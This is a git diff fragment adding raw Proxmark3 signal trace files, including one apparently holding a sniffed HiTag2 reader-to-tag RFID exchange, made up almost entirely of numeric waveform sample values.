+-3 +5 +12 +16 +20 +21 +22 +22 +22 +22 +22 +21 +19 +18 +19 +18 +8 +0 +-6 +-11 +-14 +-16 +-17 +-17 +-18 +-18 +-18 +-17 +-15 +-15 +-13 +-13 +-4 +4 +11 +15 +19 +21 +22 +23 +22 +22 +22 +21 +20 +19 +19 +18 +17 +15 +15 +13 +13 +12 +12 +11 +11 +10 +9 +8 +8 +8 +8 +7 +-1 +-9 +-14 +-19 +-22 +-23 +-23 +-24 +-24 +-23 +-22 +-20 +-20 +-19 +-17 +-16 +-15 +-14 +-12 +-12 +-10 +-11 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +-4 +-4 +-5 +4 +12 +18 +22 +26 +27 +29 +28 +27 +26 +26 +25 +23 +22 +21 +20 +10 +2 +-4 +-9 +-12 +-15 +-16 +-17 +-16 +-17 +-16 +-16 +-14 +-13 +-13 +-12 +-4 +5 +11 +16 +19 +21 +22 +22 +23 +22 +22 +20 +20 +19 +19 +17 +8 +-1 +-7 +-12 +-14 +-17 +-17 +-18 +-18 +-18 +-18 +-17 +-16 +-16 +-15 +-14 +-5 +3 +10 +15 +19 +21 +22 +23 +23 +22 +22 +20 +19 +18 +17 +16 +7 +-1 +-7 +-12 +-16 +-17 +-18 +-18 +-19 +-19 +-18 +-17 +-16 +-16 +-14 +-13 +-4 +4 +10 +14 +18 +20 +21 +21 +21 +21 +18 +16 +13 +12 +11 +9 +-9 +-28 +-43 +-55 +-61 +-66 +-66 +-66 +-64 +-62 +-59 +-56 +-52 +-50 +-47 +-44 +-41 +-38 +-36 +-33 +-31 +-29 +-27 +-26 +-23 +-22 +-20 +-19 +-16 +-15 +-14 +-14 +-12 +-11 +-10 +-10 +-9 +-8 +-7 +-7 +-7 +-7 +-6 +-6 +-5 +-5 +-4 +-4 +-4 +-4 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +0 +0 +-1 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +1 +1 +1 +1 +0 +1 +1 +1 +0 +1 +1 +2 +1 +1 +1 +1 +1 +1 +1 +2 +1 +0 +0 +0 +0 +0 +0 +1 +1 +1 +1 +2 +1 +1 +0 +1 +1 +1 +1 +1 +1 +2 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +0 +0 +1 +0 +1 +1 +1 +1 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +0 +0 +1 +0 +1 +1 +1 +1 +1 +0 +1 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +1 +1 +1 +0 +1 +1 +1 +0 +0 +0 +1 +1 +0 +0 +1 +1 +1 +1 +1 +1 +1 +0 +0 +1 +1 +1 +0 +0 +1 +0 +0 +0 +1 +1 +1 +0 +1 +1 +1 +0 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +0 +0 +0 +0 +0 +1 +1 +1 +0 +1 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +0 +1 +1 +2 +1 +1 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +-1 +0 +0 +1 +0 +0 +0 +1 +0 +0 +0 +1 +0 +1 +0 +0 +0 +0 +-1 +0 +0 +0 +0 +-1 +-1 +0 +0 +0 +0 +1 +0 +0 +-1 +0 +-1 +0 +-1 +-1 +-1 +0 +0 +0 +0 +0 +1 +0 +0 +0 +1 +0 +0 +0 +0 +0 +0 +0 +0 +1 +0 +0 +0 +0 +-1 +0 +-1 +0 +-1 +0 +-1 +0 +0 +0 +0 +0 +0 +1 +0 +0 +0 +-1 +-1 +-1 +-1 +0 +0 +0 +-1 +0 +0 +0 +-1 +0 +0 +0 +0 +0 +-1 +0 +-1 +-1 +-1 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +0 +0 +-27 +-51 +-73 +-92 +-109 +-125 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-64 +-7 +32 +59 +75 +84 +88 +89 +53 +21 +-8 +-34 +-57 +-78 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-96 +-16 +40 +78 +101 +115 +117 +117 +117 +117 +114 +109 +103 +97 +90 +54 +22 +-7 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-105 +-26 +30 +69 +92 +107 +113 +116 +115 +112 +74 +40 +8 +-19 +-44 +-65 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-11 +45 +82 +106 +117 +117 +117 +117 +86 +50 +18 +-10 +-36 +-58 +-79 +-96 +-113 +-127 +-127 +-127 +-127 +-80 +-1 +54 +91 +114 +117 +117 +117 +117 +117 +117 +117 +111 +103 +97 +90 +54 +21 +-7 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-104 +-25 +31 +69 +93 +107 +114 +116 +115 +112 +107 +102 +96 +91 +85 +49 +17 +-11 +-37 +-60 +-80 +-98 +-115 +-127 +-127 +-127 +-127 +-127 +-106 +-28 +28 +66 +90 +105 +111 +114 +113 +75 +40 +10 +-18 +-43 +-65 +-84 +-102 +-117 +-127 +-127 +-127 +-127 +-85 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +117 +113 +106 +101 +94 +88 +52 +20 +-9 +-35 +-58 +-78 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-106 +-27 +30 +67 +91 +105 +113 +115 +114 +75 +41 +9 +-18 +-43 +-64 +-84 +-102 +-117 +-127 +-127 +-127 +-127 +-127 +-81 +0 +56 +95 +117 +117 +117 +117 +117 +117 +117 +117 +112 +106 +99 +62 +28 +-1 +-28 +-51 +-73 +-91 +-109 +-123 +-127 +-127 +-127 +-127 +-101 +-22 +33 +71 +95 +109 +116 +117 +117 +78 +43 +12 +-16 +-41 +-63 +-83 +-101 +-116 +-127 +-127 +-127 +-127 +-84 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +85 +50 +18 +-11 +-36 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-83 +-5 +50 +87 +110 +117 +117 +117 +117 +117 +117 +113 +107 +100 +95 +58 +25 +-5 +-31 +-54 +-75 +-94 +-110 +-125 +-127 +-127 +-127 +-127 +-102 +-24 +32 +68 +93 +107 +114 +115 +114 +111 +73 +39 +8 +-19 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-10 +45 +82 +105 +117 +117 +117 +117 +85 +49 +18 +-11 +-36 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-81 +-2 +52 +90 +113 +117 +117 +117 +117 +117 +117 +115 +108 +102 +95 +90 +53 +21 +-8 +-34 +-57 +-78 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-104 +-27 +29 +66 +90 +104 +112 +113 +113 +74 +40 +9 +-18 +-43 +-65 +-85 +-102 +-118 +-127 +-127 +-127 +-127 +-85 +-6 +49 +86 +108 +117 +117 +117 +117 +117 +117 +112 +106 +99 +93 +56 +24 +-6 +-32 +-55 +-76 +-95 +-111 +-126 +-127 +-127 +-127 +-127 +-103 +-25 +30 +68 +92 +106 +113 +116 +115 +111 +73 +39 +8 +-20 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-89 +-11 +44 +82 +105 +117 +117 +117 +117 +84 +48 +17 +-11 +-37 +-59 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-82 +-3 +53 +90 +112 +117 +117 +117 +117 +117 +117 +115 +108 +102 +94 +88 +52 +20 +-9 +-35 +-58 +-78 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-105 +-27 +29 +66 +90 +103 +111 +113 +113 +74 +40 +9 +-18 +-43 +-65 +-85 +-102 +-118 +-127 +-127 +-127 +-127 +-85 +-7 +48 +85 +108 +117 +117 +117 +117 +117 +117 +112 +105 +99 +93 +56 +23 +-6 +-32 +-56 +-76 +-95 +-111 +-126 +-127 +-127 +-127 +-127 +-103 +-25 +30 +67 +91 +104 +112 +114 +112 +109 +105 +100 +95 +89 +83 +78 +44 +12 +-16 +-41 +-64 +-84 +-101 +-117 +-127 +-127 +-127 +-127 +-127 +-109 +-31 +24 +61 +85 +100 +107 +110 +108 +71 +36 +6 +-21 +-46 +-67 +-87 +-104 +-119 +-127 +-127 +-127 +-127 +-87 +-9 +46 +83 +106 +117 +117 +117 +117 +117 +116 +110 +103 +98 +92 +86 +50 +18 +-11 +-37 +-60 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-127 +-106 +-28 +27 +64 +88 +102 +109 +112 +112 +73 +39 +8 +-19 +-44 +-66 +-85 +-103 +-118 +-127 +-127 +-127 +-127 +-86 +-8 +47 +83 +107 +117 +117 +117 +117 +117 +116 +110 +104 +97 +92 +85 +50 +18 +-11 +-37 +-59 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-127 +-107 +-29 +26 +63 +87 +102 +109 +111 +110 +72 +37 +7 +-21 +-45 +-67 +-86 +-103 +-118 +-127 +-127 +-127 +-127 +-87 +-9 +47 +84 +107 +117 +117 +117 +117 +86 +50 +19 +-10 +-35 +-58 +-78 +-97 +-112 +-127 +-127 +-127 +-127 +-80 +-3 +52 +88 +111 +117 +117 +117 +117 +117 +117 +114 +106 +100 +93 +88 +51 +20 +-10 +-35 +-58 +-79 +-97 +-113 +-127 +-127 +-127 +-127 +-127 +-105 +-27 +28 +65 +89 +103 +110 +112 +111 +72 +38 +7 +-20 +-44 +-66 +-86 +-103 +-118 +-127 +-127 +-127 +-127 +-87 +-8 +47 +84 +106 +117 +117 +117 +117 +117 +115 +109 +104 +97 +91 +84 +79 +74 +69 +64 +59 +55 +51 +47 +44 +54 +68 +75 +78 +78 +77 +74 +71 +67 +64 +59 +56 +52 +49 +45 +42 +39 +37 +33 +31 +28 +26 +24 +22 +21 +20 +18 +16 +15 +14 +12 +11 +9 +8 +8 +7 +6 +5 +4 +4 +4 +3 +2 +2 +2 +2 +1 +1 +0 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-2 +-2 +-2 +-2 +-3 +-3 +-3 +-3 +-2 +-3 +-3 +-3 +-3 +-3 +-3 +-4 +-3 +-3 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-3 +-4 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-5 +-5 +-5 +-4 +-4 +-4 +-4 +-4 +-5 +-4 +-5 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-4 +-5 +-5 +-4 +-4 +-5 +-4 +-4 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-4 +-4 +-5 +-4 +-4 +-3 +-5 +-4 +-5 +-4 +-5 +-5 +-5 +-4 +-4 +-4 +-5 +-4 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-5 +-4 +-5 +-5 +2 +11 +16 +20 +22 +24 +24 +24 +23 +22 +21 +21 +19 +17 +16 +15 +6 +-2 +-9 +-14 +-17 +-19 +-22 +-22 +-22 +-22 +-21 +-21 +-21 +-19 +-19 +-18 +-10 +-1 +5 +10 +13 +14 +16 +16 +16 +15 +15 +14 +13 +12 +10 +10 +1 +-6 +-13 +-17 +-20 +-22 +-24 +-24 +-24 +-23 +-23 +-23 +-23 +-21 +-21 +-20 +-12 +-3 +4 +9 +11 +14 +15 +16 +15 +15 +14 +14 +13 +11 +11 +10 +1 +-7 +-13 +-17 +-21 +-23 +-24 +-25 +-24 +-24 +-24 +-23 +-22 +-21 +-21 +-20 +-11 +-3 +4 +9 +11 +14 +15 +16 +15 +14 +14 +13 +12 +11 +10 +10 +1 +-7 +-14 +-18 +-21 +-23 +-25 +-25 +-25 +-24 +-25 +-24 +-23 +-21 +-20 +-19 +-11 +-3 +4 +9 +11 +13 +15 +16 +15 +14 +13 +13 +12 +11 +10 +9 +0 +-7 +-14 +-18 +-21 +-23 +-24 +-24 +-25 +-24 +-24 +-23 +-22 +-21 +-20 +-20 +-19 +-18 +-17 +-16 +-16 +-15 +-14 +-14 +-14 +-13 +-13 +-12 +-12 +-12 +-11 +-10 +-3 +5 +11 +15 +18 +20 +20 +21 +20 +20 +19 +18 +16 +15 +13 +13 +2 +-5 +-11 +-15 +-19 +-21 +-23 +-23 +-23 +-23 +-23 +-22 +-21 +-20 +-20 +-19 +-11 +-2 +4 +9 +12 +14 +15 +15 +15 +15 +14 +14 +12 +12 +11 +10 +0 +-7 +-13 +-18 +-21 +-23 +-24 +-24 +-25 +-24 +-24 +-23 +-22 +-21 +-20 +-20 +-11 +-4 +2 +8 +11 +13 +14 +14 +14 +14 +13 +12 +11 +11 +10 +9 +0 +-7 +-14 +-18 +-22 +-23 +-25 +-25 +-26 +-25 +-24 +-22 +-22 +-22 +-21 +-20 +-12 +-4 +2 +8 +11 +13 +13 +14 +14 +14 +13 +13 +12 +11 +10 +9 +-1 +-8 +-14 +-19 +-22 +-23 +-25 +-25 +-26 +-25 +-25 +-24 +-23 +-23 +-22 +-20 +-12 +-4 +2 +8 +11 +13 +14 +14 +15 +14 +13 +13 +12 +11 +10 +9 +8 +7 +6 +6 +5 +5 +4 +3 +2 +2 +1 +1 +0 +-1 +-1 +0 +-9 +-16 +-22 +-25 +-29 +-31 +-32 +-32 +-31 +-30 +-30 +-29 +-27 +-26 +-25 +-24 +-16 +-7 +0 +4 +8 +11 +13 +13 +12 +12 +12 +11 +10 +9 +8 +8 +-2 +-10 +-15 +-19 +-22 +-24 +-26 +-26 +-26 +-26 +-25 +-24 +-24 +-22 +-22 +-21 +-21 +-19 +-19 +-18 +-17 +-16 +-15 +-15 +-15 +-14 +-13 +-12 +-12 +-12 +-11 +-11 +-3 +4 +11 +15 +18 +19 +20 +20 +20 +19 +18 +17 +15 +15 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +3 +3 +2 +2 +1 +1 +0 +0 +-9 +-16 +-22 +-25 +-28 +-30 +-31 +-31 +-30 +-29 +-29 +-28 +-27 +-25 +-25 +-23 +-23 +-21 +-21 +-20 +-19 +-17 +-17 +-16 +-16 +-14 +-14 +-13 +-13 +-12 +-12 +-12 +-5 +4 +10 +14 +16 +18 +19 +19 +18 +17 +16 +16 +14 +13 +12 +12 +10 +9 +8 +7 +6 +6 +5 +4 +4 +3 +2 +2 +1 +1 +1 +0 +-9 +-15 +-21 +-26 +-29 +-30 +-31 +-31 +-31 +-30 +-30 +-28 +-28 +-27 +-25 +-24 +-22 +-22 +-21 +-20 +-19 +-18 +-18 +-17 +-16 +-15 +-14 +-14 +-14 +-13 +-12 +-12 +-5 +4 +9 +14 +16 +18 +19 +19 +18 +18 +17 +16 +14 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +4 +3 +3 +1 +1 +1 +1 +0 +-1 +-9 +-16 +-21 +-26 +-29 +-31 +-31 +-31 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-22 +-21 +-21 +-20 +-19 +-18 +-18 +-17 +-17 +-15 +-15 +-15 +-14 +-13 +-13 +-13 +-5 +3 +10 +14 +16 +18 +19 +19 +18 +17 +17 +16 +14 +13 +12 +11 +10 +9 +8 +7 +6 +5 +4 +3 +2 +2 +1 +1 +0 +1 +0 +0 +-9 +-16 +-22 +-26 +-30 +-31 +-31 +-31 +-32 +-30 +-30 +-28 +-27 +-26 +-25 +-24 +-23 +-22 +-21 +-20 +-19 +-18 +-18 +-17 +-16 +-15 +-15 +-14 +-13 +-12 +-12 +-12 +-5 +3 +9 +13 +15 +17 +18 +19 +18 +17 +16 +15 +14 +12 +11 +10 +1 +-6 +-13 +-17 +-20 +-22 +-24 +-24 +-25 +-24 +-24 +-24 +-23 +-22 +-21 +-21 +-12 +-4 +3 +7 +10 +12 +13 +14 +13 +13 +12 +12 +10 +9 +8 +8 +7 +6 +5 +5 +4 +3 +2 +2 +1 +1 +-1 +0 +-1 +-1 +-3 +-2 +-11 +-17 +-23 +-27 +-30 +-31 +-32 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-23 +-24 +-22 +-21 +-20 +-19 +-18 +-17 +-16 +-16 +-16 +-15 +-14 +-14 +-13 +-13 +-12 +-5 +3 +8 +12 +15 +17 +18 +18 +17 +17 +16 +14 +13 +13 +11 +10 +0 +-7 +-13 +-18 +-22 +-24 +-25 +-25 +-25 +-25 +-25 +-24 +-23 +-22 +-22 +-21 +-12 +-4 +2 +7 +10 +13 +13 +14 +13 +13 +12 +12 +10 +10 +9 +8 +6 +5 +5 +4 +4 +3 +2 +1 +1 +0 +-1 +0 +-1 +0 +-2 +-2 +-11 +-17 +-24 +-28 +-31 +-32 +-33 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +-25 +-24 +-23 +-21 +-20 +-20 +-19 +-18 +-17 +-17 +-16 +-16 +-14 +-14 +-14 +-14 +-13 +-5 +3 +8 +13 +16 +17 +17 +17 +17 +17 +15 +14 +13 +13 +11 +10 +0 +-7 +-13 +-18 +-21 +-23 +-24 +-25 +-26 +-25 +-25 +-24 +-23 +-22 +-21 +-20 +-12 +-4 +2 +7 +9 +12 +12 +13 +12 +12 +11 +11 +10 +9 +8 +7 +-2 +-9 +-15 +-20 +-23 +-25 +-26 +-26 +-27 +-27 +-26 +-25 +-24 +-23 +-23 +-22 +-13 +-5 +1 +5 +9 +11 +12 +12 +12 +12 +11 +10 +9 +9 +8 +7 +-2 +-10 +-16 +-20 +-24 +-26 +-27 +-27 +-27 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-13 +-5 +1 +5 +9 +11 +11 +11 +12 +12 +11 +10 +9 +9 +8 +6 +5 +5 +4 +4 +2 +2 +1 +1 +0 +0 +0 +0 +-1 +-2 +-2 +-2 +-11 +-18 +-24 +-28 +-31 +-32 +-33 +-33 +-32 +-31 +-31 +-30 +-29 +-27 +-26 +-25 +-24 +-22 +-22 +-21 +-21 +-20 +-19 +-17 +-17 +-17 +-16 +-15 +-14 +-14 +-14 +-13 +-5 +2 +8 +12 +15 +17 +17 +17 +17 +17 +15 +14 +13 +12 +11 +10 +8 +7 +6 +5 +4 +3 +2 +2 +2 +2 +0 +0 +-1 +-1 +-3 +-3 +-11 +-17 +-23 +-27 +-30 +-32 +-33 +-33 +-33 +-31 +-30 +-29 +-29 +-27 +-26 +-25 +-25 +-23 +-22 +-21 +-20 +-19 +-19 +-17 +-17 +-16 +-16 +-15 +-15 +-15 +-15 +-14 +-7 +1 +7 +11 +14 +17 +16 +17 +16 +16 +15 +14 +12 +12 +11 +9 +8 +7 +6 +5 +4 +3 +3 +2 +1 +0 +0 +0 +-1 +-1 +-3 +-2 +-11 +-18 +-24 +-27 +-30 +-31 +-32 +-32 +-32 +-31 +-30 +-30 +-29 +-28 +-27 +-25 +-25 +-23 +-22 +-21 +-21 +-20 +-19 +-18 +-17 +-16 +-16 +-15 +-15 +-14 +-14 +-14 +-5 +2 +8 +11 +14 +16 +17 +16 +16 +16 +15 +14 +12 +12 +10 +9 +0 +-7 +-14 +-18 +-22 +-24 +-25 +-26 +-27 +-27 +-26 +-25 +-24 +-24 +-23 +-22 +-13 +-5 +1 +6 +9 +11 +11 +12 +12 +12 +8 +5 +3 +2 +1 +0 +-18 +-36 +-51 +-62 +-69 +-72 +-73 +-72 +-71 +-69 +-67 +-63 +-59 +-56 +-54 +-51 +-48 +-45 +-43 +-41 +-39 +-36 +-35 +-33 +-31 +-29 +-28 +-26 +-25 +-24 +-23 +-22 +-22 +-20 +-19 +-18 +-18 +-17 +-17 +-16 +-16 +-15 +-15 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-11 +-12 +-11 +-11 +-10 +-10 +-10 +-10 +-9 +-9 +-9 +-10 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-7 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-7 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-8 +-9 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-7 +-8 +-9 +-9 +-9 +-9 +-9 +-10 +-9 +-9 +-8 +-10 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-7 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-10 +-9 +-9 +-9 +-10 +-10 +-9 +-9 +-9 +-10 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-9 +-8 +-9 +-9 +-10 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-10 +-10 +-10 +-9 +-9 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-9 +-8 +-8 +-9 +-9 +-8 +-8 +-8 +-9 +-8 +-9 +-8 +-9 +-9 +-9 +-8 +-9 +-9 +-9 +-9 +-8 +-8 +-8 +-8 +-8 +-8 +-8 +-9 +-8 +-8 +-8 +-8 +-8 +-7 +-7 +-7 +-8 +-7 diff --git a/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 b/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 new file mode 100644 index 000000000..3be1e7cb5 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-rfidler-reader.pm3 @@ -0,0 +1,4200 @@ +-2 +-1 +0 +0 +-1 +0 +-1 +0 +-1 +-2 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-2 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +-1 +0 +0 +-1 +-1 +-2 +-2 +-2 +-2 +-2 +-2 +-2 +-1 +-2 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-2 +-2 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-1 +-21 +-39 +-55 +-69 +-82 +-94 +-104 +-113 +-113 +2 +57 +66 +53 +36 +22 +13 +12 +16 +20 +22 +22 +21 +19 +18 +16 +14 +13 +12 +12 +10 +-11 +-30 +-47 +-62 +-75 +-88 +-98 +-108 +-106 +10 +64 +72 +60 +42 +28 +19 +18 +20 +24 +26 +27 +25 +23 +21 +18 +17 +16 +14 +14 +13 +-8 +-27 +-44 +-60 +-74 +-86 +-97 +-107 +-105 +9 +61 +68 +56 +39 +26 +19 +18 +21 +25 +27 +28 +26 +3 +-17 +-35 +-52 +-66 +-79 +-91 +-101 +-99 +16 +69 +75 +62 +44 +30 +22 +22 +24 +28 +30 +30 +28 +5 +-15 +-33 +-50 +-65 +-78 +-90 +-100 +-97 +20 +73 +79 +65 +46 +30 +21 +21 +24 +28 +30 +30 +28 +5 +-15 +-34 +-50 +-65 +-78 +-90 +-100 +-96 +21 +75 +82 +68 +49 +32 +22 +21 +25 +29 +31 +31 +29 +27 +23 +22 +20 +19 +17 +15 +14 +13 +12 +11 +11 +10 +9 +8 +12 +17 +22 +28 +31 +33 +33 +33 +31 +30 +28 +28 +26 +24 +22 +20 +20 +18 +17 +16 +15 +14 +12 +11 +10 +10 +10 +9 +8 +7 +6 +5 +5 +5 +5 +5 +3 +3 +3 +3 +2 +3 +2 +2 +2 +1 +1 +2 +2 +1 +-1 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +-1 +0 +1 +0 +-1 +0 +-1 +0 +-1 +0 +0 +0 +-1 +-2 +-2 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +-2 +-1 +-1 +0 +-1 +-1 +-1 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-1 +-1 +-1 +-1 +0 +-1 +-1 +-2 +-2 +-2 +-2 +-5 +-6 +-6 +-4 +-3 +-1 +0 +1 +1 +2 +1 +0 +0 +0 +0 +2 +2 +3 +3 +3 +3 +4 +3 +3 +3 +3 +3 +2 +1 +1 +1 +2 +1 +2 +1 +1 +0 +0 +-1 +0 +0 +0 +0 +0 +0 +0 +-1 +-1 +-1 +0 +0 +0 +-1 +-1 +-1 +-2 +-2 +-2 +5 +24 +42 +57 +66 +69 +68 +65 +61 +57 +53 +50 +46 +44 +40 +37 +27 +10 +-7 +-23 +-36 +-44 +-47 +-46 +-46 +-45 +-43 +-41 +-39 +-37 +-35 +-34 +-25 +-6 +14 +31 +42 +48 +49 +48 +46 +45 +41 +39 +37 +35 +33 +30 +21 +5 +-12 +-27 +-40 +-47 +-49 +-48 +-49 +-47 +-46 +-43 +-41 +-39 +-36 +-35 +-27 +-8 +12 +29 +39 +46 +47 +46 +45 +43 +40 +38 +36 +35 +33 +29 +21 +5 +-13 +-28 +-40 +-47 +-49 +-49 +-50 +-48 +-46 +-43 +-41 +-38 +-36 +-35 +-27 +-9 +13 +30 +40 +46 +46 +46 +43 +41 +38 +37 +36 +35 +32 +28 +20 +4 +-13 +-28 +-40 +-47 +-51 +-52 +-51 +-48 +-45 +-42 +-40 +-38 +-36 +-35 +-27 +-8 +13 +30 +39 +45 +46 +45 +44 +41 +39 +37 +35 +33 +31 +28 +20 +4 +-13 +-29 +-41 +-47 +-50 +-51 +-49 +-47 +-45 +-42 +-41 +-38 +-36 +-35 +-28 +-9 +12 +29 +39 +45 +46 +46 +43 +41 +38 +36 +35 +33 +31 +29 +20 +4 +-13 +-29 +-41 +-48 +-50 +-51 +-50 +-47 +-44 +-42 +-40 +-37 +-36 +-35 +-34 +-33 +-31 +-28 +-27 +-25 +-23 +-21 +-19 +-18 +-17 +-16 +-15 +-13 +-13 +-14 +-6 +12 +31 +47 +56 +61 +61 +58 +55 +52 +49 +46 +43 +42 +39 +36 +32 +29 +26 +26 +24 +23 +22 +21 +20 +18 +16 +16 +14 +14 +12 +10 +3 +-12 +-28 +-42 +-54 +-59 +-62 +-62 +-60 +-57 +-53 +-50 +-48 +-44 +-42 +-41 +-33 +-14 +7 +24 +34 +40 +42 +42 +40 +37 +35 +34 +32 +31 +28 +26 +17 +1 +-16 +-31 +-43 +-49 +-52 +-53 +-51 +-48 +-45 +-43 +-41 +-38 +-37 +-36 +-29 +-10 +12 +29 +39 +45 +47 +45 +42 +39 +37 +37 +34 +33 +30 +28 +19 +3 +-14 +-29 +-41 +-48 +-51 +-52 +-51 +-47 +-44 +-41 +-40 +-37 +-36 +-36 +-28 +-9 +12 +30 +40 +45 +46 +45 +43 +41 +38 +37 +35 +33 +30 +27 +19 +4 +-13 +-28 +-41 +-48 +-52 +-52 +-50 +-46 +-43 +-41 +-40 +-38 +-36 +-35 +-34 +-32 +-30 +-28 +-27 +-26 +-24 +-21 +-19 +-18 +-17 +-15 +-15 +-14 +-14 +-15 +-6 +12 +31 +46 +55 +61 +60 +58 +55 +52 +49 +46 +43 +42 +39 +36 +25 +8 +-10 +-25 +-38 +-45 +-48 +-47 +-46 +-44 +-42 +-39 +-36 +-35 +-34 +-33 +-25 +-5 +15 +33 +43 +49 +48 +46 +44 +42 +39 +37 +35 +34 +31 +28 +18 +2 +-15 +-30 +-42 +-49 +-52 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-36 +-35 +-26 +-8 +13 +31 +41 +47 +46 +45 +43 +41 +38 +36 +34 +33 +30 +26 +18 +2 +-15 +-30 +-43 +-50 +-53 +-52 +-51 +-47 +-43 +-41 +-39 +-37 +-36 +-35 +-27 +-8 +13 +32 +41 +47 +47 +45 +43 +41 +39 +37 +34 +33 +30 +26 +24 +22 +21 +21 +19 +18 +17 +16 +14 +14 +14 +13 +12 +11 +9 +7 +0 +-14 +-31 +-44 +-55 +-62 +-65 +-64 +-60 +-56 +-53 +-50 +-47 +-45 +-44 +-44 +-35 +-15 +6 +23 +33 +40 +42 +41 +38 +36 +34 +33 +31 +29 +27 +25 +16 +0 +-16 +-31 +-43 +-51 +-54 +-53 +-51 +-48 +-45 +-42 +-40 +-38 +-38 +-37 +-29 +-9 +11 +28 +38 